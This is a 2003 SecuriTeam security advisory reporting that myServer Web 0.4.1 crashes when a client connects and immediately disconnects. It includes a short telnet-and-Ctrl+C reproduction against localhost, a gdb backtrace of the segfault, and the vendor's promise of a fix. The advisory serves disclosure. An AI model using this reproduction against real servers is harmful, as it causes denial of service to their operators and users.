[NEWS] myServer Vulnerable to Terminated Connection DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 06/15/03

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    To: list@securiteam.com
Date: 15 Jun 2003 21:50:21 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      myServer Vulnerable to Terminated Connection DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://myserverweb.sourceforge.net> myServer Web is a "free and easy to
    configure web server". The product has been found to contain a
    vulnerability that allows remote attackers to cause the product to crash
    by disconnecting right after a connection is established.

    DETAILS

    Vulnerable systems:
     * myServer version 0.4.1

    Example:
       # telnet 127.0.0.1 80
       Trying 127.0.0.1...
       Connected to 127.0.0.1.
       Escape character is '^]'.
       [Ctrl]+C
       Connection closed by foreign host.
       # gdb -c core
       GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
       Copyright 2001 Free Software Foundation, Inc.
       GDB is free software, covered by the GNU General Public License, and
    you are
       welcome to change it and/or distribute copies of it under certain
    conditions.
       Type "show copying" to see the conditions.
       There is absolutely no warranty for GDB. Type "show warranty" for
    details.
       This GDB was configured as "i386-mandrake-linux".
       Core was generated by `./myserver'.
       Program terminated with signal 11, Segmentation fault.
       #0 0x40187f92 in ?? ()
       (gdb) bt
       #0 0x40187f92 in ?? ()
       #1 0x08053bc0 in ?? ()
       #2 0x0804e744 in ?? ()
       #3 0x40093817 in ?? ()

    Vendor response:
    The same problem was reported on the WIN32 platform. The error was found
    in the HTTP protocol parser that work correctly only when find a valid
    http header. This bug, that can be cause of DoS attacks will be absent in
    the imminent next release of MyServer, actually wasn't tested on Linux but
    it will be. Thanks for your note.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:_LynX[at]bk.ru> LynX.

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